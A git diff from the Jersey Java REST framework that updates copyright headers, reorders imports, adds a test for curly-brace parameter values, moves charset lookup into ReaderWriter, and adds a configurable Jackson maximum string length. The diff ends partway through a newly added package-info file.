diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java
index 70bb227..b03a1d0 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java
index 18d4d60..a6ccecf 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java
index fa813b5..3e59235 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java
index 4c329d5..43263ad 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
index a1d65e7..1b49f50 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -66,4 +66,4 @@
     public MyResourceWithBeanParamIfc getSubResource() {
         return new MyResourceWithBeanParam();
     }
-}
+}
\ No newline at end of file
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
index f57c85d..5e73615 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -68,4 +68,4 @@
     @Path("subresource")
     MyResourceWithBeanParamIfc getSubResource();
 
-}
+}
\ No newline at end of file
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java
index 4cd792d..1fcb322 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,4 +41,4 @@
 
     @QueryParam("subQueryParam")
     List<String> subQueryParam;
-}
+}
\ No newline at end of file
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java
index 04772e9..c99f708 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java
index a1ea83a..645217d 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java
index 9ade669..2acbc30 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java
index 8cc343a..d10ef18 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
index dc24861..d9b361a 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,18 +16,19 @@
 
 package org.glassfish.jersey.client.proxy;
 
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+import java.util.Arrays;
+import java.util.List;
+
 import jakarta.ws.rs.core.Cookie;
+
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 
-import java.util.Arrays;
-import java.util.List;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
 /**
  * @author Richard Obersheimer
  */
@@ -137,4 +138,4 @@
 
         assertEquals("query", response);
     }
-}
+}
\ No newline at end of file
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java
index 89927e9..e7d66d3 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,11 @@
 
 package org.glassfish.jersey.client.proxy;
 
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashSet;
@@ -34,13 +39,10 @@
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Disabled;
 import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNotEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
 
 /**
  * @author Martin Matula
@@ -336,4 +338,27 @@
     public void testEquals() {
         assertFalse(resource.equals(resource2), "The two resource instances should not be considered equals as they are unique");
     }
+
+    @Test
+    void testParamWithCurly() {
+        String param = "faulty {";
+
+        String result = resource.getByName(param);
+        Assertions.assertEquals(param, result);
+
+        result = resource.getByNameCookie(param);
+        Assertions.assertEquals(param, result);
+
+        result = resource.getByNameHeader(param);
+        Assertions.assertEquals(param, result);
+
+        result = resource.getByNameMatrix(param);
+        Assertions.assertEquals(param, result);
+
+        result = resource.postByNameFormParam(param);
+        Assertions.assertEquals(param, result);
+
+        result = resource.getId(param);
+        Assertions.assertEquals(param, result);
+    }
 }
diff --git a/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java
index 37f0608..9fdcac3 100644
--- a/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,11 +18,12 @@
 
 import java.io.BufferedOutputStream;
 import java.io.ByteArrayInputStream;
-import java.io.FileOutputStream;
+import java.io.File;
 import java.io.OutputStream;
 import java.io.StringWriter;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
+import java.nio.file.Files;
 import java.util.Arrays;
 import java.util.logging.Level;
 import java.util.logging.Logger;
@@ -96,7 +97,7 @@
         Class<?>[] classes = getJAXBContextClasses(result, docProcessor);
         LOG.info("cdataElements " + Arrays.asList(cdataElements));
         LOG.info("classes " + Arrays.asList(classes));
-        try (OutputStream out = new BufferedOutputStream(new FileOutputStream(filePath))) {
+        try (OutputStream out = new BufferedOutputStream(Files.newOutputStream(new File(filePath).toPath()))) {
             JAXBContext c = JAXBContext.newInstance(classes);
             Marshaller m = c.createMarshaller();
             m.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true);
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
index a912662..89667c4 100644
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
+++ b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
 
 import java.io.BufferedOutputStream;
 import java.io.File;
-import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.io.StringWriter;
 import java.lang.reflect.Array;
diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java
index 5662724..143a131 100644
--- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java
+++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,6 +28,7 @@
 import jakarta.el.ValueExpression;
 
 import org.glassfish.jersey.linking.mapping.ResourceMappingContext;
+import org.glassfish.jersey.uri.internal.UriPart;
 import org.glassfish.jersey.uri.internal.UriTemplateParser;
 
 /**
@@ -97,7 +98,7 @@
         // now process any embedded URI template parameters
         UriBuilder ub = applyLinkStyle(template, link.getLinkStyle(), uriInfo);
         UriTemplateParser parser = new UriTemplateParser(template);
-        List<String> parameterNames = parser.getNames();
+        List<UriPart> parameterNames = parser.getNames();
         Map<String, Object> valueMap = getParameterValues(parameterNames, link, context, uriInfo);
         return ub.buildFromMap(valueMap);
     }
@@ -119,12 +120,13 @@
         return ub;
     }
 
-    private static Map<String, Object> getParameterValues(List<String> parameterNames,
+    private static Map<String, Object> getParameterValues(List<UriPart> parameterNames,
                                                           InjectLinkDescriptor linkField,
                                                           LinkELContext context,
                                                           UriInfo uriInfo) {
         Map<String, Object> values = new HashMap<>();
-        for (String name : parameterNames) {
+        for (UriPart param : parameterNames) {
+            String name = param.getPart();
             String elExpression = linkField.getBinding(name);
             if (elExpression == null) {
                 String value = uriInfo.getPathParameters().getFirst(name);
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java
index 76e8750..eb8fe7b 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java
@@ -26,6 +26,7 @@
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -56,6 +57,7 @@
 import javax.xml.stream.XMLStreamReader;
 
 import org.glassfish.jersey.message.internal.EntityInputStream;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * An abstract provider for {@code T[]}, {@code Collection&lt;T&gt;},
@@ -238,12 +240,12 @@
                     ? Arrays.asList((Object[]) t)
                     : (Collection) t;
             final Class elementType = getElementClass(type, genericType);
-            final Charset charset = getCharset(mediaType);
+            final Charset charset = ReaderWriter.getCharset(mediaType);
             final String charsetName = charset.name();
 
             final Marshaller m = getMarshaller(elementType, mediaType);
             m.setProperty(Marshaller.JAXB_FRAGMENT, true);
-            if (charset != UTF8) {
+            if (charset != StandardCharsets.UTF_8) {
                 m.setProperty(Marshaller.JAXB_ENCODING, charsetName);
             }
             setHeader(m, annotations);
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java
index 63cd318..9551f25 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java
@@ -23,6 +23,7 @@
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.ws.rs.BadRequestException;
 import jakarta.ws.rs.InternalServerErrorException;
@@ -41,6 +42,7 @@
 
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.message.internal.EntityInputStream;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * An abstract provider for {@link JAXBElement}.
@@ -145,8 +147,8 @@
             OutputStream entityStream) throws IOException {
         try {
             final Marshaller m = getMarshaller(t.getDeclaredType(), mediaType);
-            final Charset c = getCharset(mediaType);
-            if (c != UTF8) {
+            final Charset c = ReaderWriter.getCharset(mediaType);
+            if (c != StandardCharsets.UTF_8) {
                 m.setProperty(Marshaller.JAXB_ENCODING, c.name());
             }
             setHeader(m, annotations);
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java
index afc9dc9..eae93c1 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java
@@ -22,6 +22,7 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.ws.rs.BadRequestException;
 import jakarta.ws.rs.InternalServerErrorException;
@@ -42,6 +43,7 @@
 
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.message.internal.EntityInputStream;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * An abstract provider for JAXB types that are annotated with
@@ -150,8 +152,8 @@
             OutputStream entityStream) throws IOException {
         try {
             final Marshaller m = getMarshaller(type, mediaType);
-            final Charset c = getCharset(mediaType);
-            if (c != UTF8) {
+            final Charset c = ReaderWriter.getCharset(mediaType);
+            if (c != StandardCharsets.UTF_8) {
                 m.setProperty(Marshaller.JAXB_ENCODING, c.name());
             }
             setHeader(m, annotations);
diff --git a/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java b/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java
index 693a9d3..9fa1a40 100644
--- a/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java
+++ b/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java
@@ -30,6 +30,7 @@
 import org.glassfish.jersey.jsonb.LocalizationMessages;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
 import org.glassfish.jersey.message.internal.EntityInputStream;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 import jakarta.inject.Inject;
 import jakarta.json.bind.Jsonb;
@@ -106,8 +107,9 @@
                         OutputStream entityStream) throws IOException, WebApplicationException {
         Jsonb jsonb = getJsonb(type);
         try {
-            jsonb.toJson(o, genericType, new OutputStreamWriter(entityStream, getCharset(mediaType)));
-        } catch (JsonbException e) {
+            entityStream.write(jsonb.toJson(o).getBytes(ReaderWriter.getCharset(mediaType)));
+            entityStream.flush();
+        } catch (IOException e) {
             throw new ProcessingException(LocalizationMessages.ERROR_JSONB_SERIALIZATION(), e);
         }
     }
diff --git a/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java
index 96d0b1a..50a0dcf 100644
--- a/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java
+++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java
@@ -42,6 +42,7 @@
 
 import com.google.gson.Gson;
 import com.google.gson.GsonBuilder;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 
 /**
  * Entity provider (reader and writer) for Gson.
@@ -81,7 +82,7 @@
         Gson gson = getGson(type);
         try {
             return gson.fromJson(new InputStreamReader(entityInputStream,
-                    AbstractMessageReaderWriterProvider.getCharset(mediaType)), genericType);
+                    ReaderWriter.getCharset(mediaType)), genericType);
         } catch (Exception e) {
             throw new ProcessingException(LocalizationMessages.ERROR_GSON_DESERIALIZATION(), e);
         }
@@ -100,7 +101,7 @@
                         OutputStream entityStream) throws IOException, WebApplicationException {
         Gson gson = getGson(type);
         try {
-            entityStream.write(gson.toJson(o).getBytes(AbstractMessageReaderWriterProvider.getCharset(mediaType)));
+            entityStream.write(gson.toJson(o).getBytes(ReaderWriter.getCharset(mediaType)));
             entityStream.flush();
         } catch (Exception e) {
             throw new ProcessingException(LocalizationMessages.ERROR_GSON_SERIALIZATION(), e);
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java
index 71e62ff..5411720 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import jakarta.ws.rs.ext.MessageBodyReader;
 import jakarta.ws.rs.ext.MessageBodyWriter;
 
+import com.fasterxml.jackson.core.StreamReadConstraints;
 import org.glassfish.jersey.CommonProperties;
 import org.glassfish.jersey.internal.InternalProperties;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
@@ -31,6 +32,7 @@
 import org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.JsonMappingExceptionMapper;
 import org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.JsonParseExceptionMapper;
 import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider;
+import org.glassfish.jersey.message.MessageProperties;
 import org.glassfish.jersey.message.filtering.EntityFilteringFeature;
 
 /**
@@ -43,11 +45,16 @@
 
     /**
      * Define whether to use Jackson's exception mappers ore not
-     * Using them can provide a useful information to the user, but it can expose unnecessary information, too.
+     * Using them can provide useful information to the user, but it can expose unnecessary information, too.
      */
     private final boolean registerExceptionMappers;
 
     /**
+     * Overridable Jackon's {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN} value.
+     */
+    private int maxStringLength = StreamReadConstraints.DEFAULT_MAX_STRING_LEN;
+
+    /**
      * Default constructor enables registering Jackson's exception mappers
      */
     public JacksonFeature() {
@@ -74,6 +81,25 @@
         return new JacksonFeature(false);
     }
 
+    /**
+     * <p>
+     *     Sets the {@link MessageProperties#JSON_MAX_STRING_LENGTH} property to a provided value. The property value already
+     *     {@link Configuration configured} takes priority.
+     * </p>
+     * <p>
+     *     Both uses of {@link #maxStringLength(int)} and {@link MessageProperties#JSON_MAX_STRING_LENGTH} override
+     *     StreamReadConstraints defined on Jackson's {@code ObjectMapper's JsonFactory} provided via
+     *     {@link jakarta.ws.rs.ext.ContextResolver ContextResolver&lt;ObjectMapper&gt;}.
+     * </p>
+     * @param maxStringLength the integer value to override the default Jackson's
+     * {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN}.
+     * @return JacksonFeature that has the Jackson's {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN} set.
+     */
+    public JacksonFeature maxStringLength(int maxStringLength) {
+        this.maxStringLength = maxStringLength;
+        return this;
+    }
+
     private static final String JSON_FEATURE = JacksonFeature.class.getSimpleName();
 
     @Override
@@ -108,6 +134,10 @@
             }
         }
 
+        if (config.getProperty(MessageProperties.JSON_MAX_STRING_LENGTH) == null) {
+            context.property(MessageProperties.JSON_MAX_STRING_LENGTH, maxStringLength);
+        }
+
         return true;
     }
 }
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
index 393522d..f715407 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/DefaultJacksonJaxbJsonProvider.java
@@ -16,14 +16,23 @@
 
 package org.glassfish.jersey.jackson.internal;
 
+import com.fasterxml.jackson.core.JsonFactory;
+import com.fasterxml.jackson.core.StreamReadConstraints;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.Module;
+import com.fasterxml.jackson.databind.ObjectReader;
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.jackson.LocalizationMessages;
 import org.glassfish.jersey.jackson.internal.jackson.jaxrs.cfg.Annotations;
 import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider;
+import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JsonEndpointConfig;
+import org.glassfish.jersey.message.MessageProperties;
 
+import java.lang.annotation.Annotation;
 import java.util.Arrays;
 import java.util.List;
+import java.util.logging.Logger;
 import jakarta.annotation.PostConstruct;
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
@@ -37,6 +46,7 @@
 @Singleton
 public class DefaultJacksonJaxbJsonProvider extends JacksonJaxbJsonProvider {
     private Configuration commonConfig;
+    private static final Logger LOGGER = Logger.getLogger(DefaultJacksonJaxbJsonProvider.class.getName());
 
     @Inject
     public DefaultJacksonJaxbJsonProvider(@Context Providers providers, @Context Configuration config) {
@@ -58,6 +68,18 @@
         _providers = providers;
     }
 
+    @Override
+    protected JsonEndpointConfig _configForReading(ObjectReader reader, Annotation[] annotations) {
+        try {
+            updateFactoryConstraints(reader.getFactory());
+        } catch (Throwable t) {
+            // A Jackson 14 would throw NoSuchMethodError, ClassNotFoundException, NoClassDefFoundError or similar
+            // that should have been ignored
+            LOGGER.warning(LocalizationMessages.ERROR_JACKSON_STREAMREADCONSTRAINTS(t.getMessage()));
+        }
+        return super._configForReading(reader, annotations);
+    }
+
     @PostConstruct
     private void findAndRegisterModules() {
 
@@ -97,4 +119,21 @@
 
         return modules;
     }
+
+    private void updateFactoryConstraints(JsonFactory jsonFactory) {
+        // Priorities 1. property, 2.JacksonFeature#maxStringLength, 3.jsonFactoryValue
+        final Object maxStringLengthObject = commonConfig.getProperty(MessageProperties.JSON_MAX_STRING_LENGTH);
+        final Integer maxStringLength = PropertiesHelper.convertValue(maxStringLengthObject, Integer.class);
+
+        if (maxStringLength != StreamReadConstraints.DEFAULT_MAX_STRING_LEN) {
+            final StreamReadConstraints constraints = jsonFactory.streamReadConstraints();
+            jsonFactory.setStreamReadConstraints(
+                    StreamReadConstraints.builder()
+                            .maxStringLength(maxStringLength)
+                            .maxNestingDepth(constraints.getMaxNestingDepth())
+                            .maxNumberLength(constraints.getMaxNumberLength())
+                            .build()
+            );
+        }
+    }
 }
\ No newline at end of file
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java
new file mode 100644
index 0000000..0451a47
--- /dev/null
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/jackson/jaxrs/annotation/package-info.java
@@ -0,0 +1,12 @@
+/**
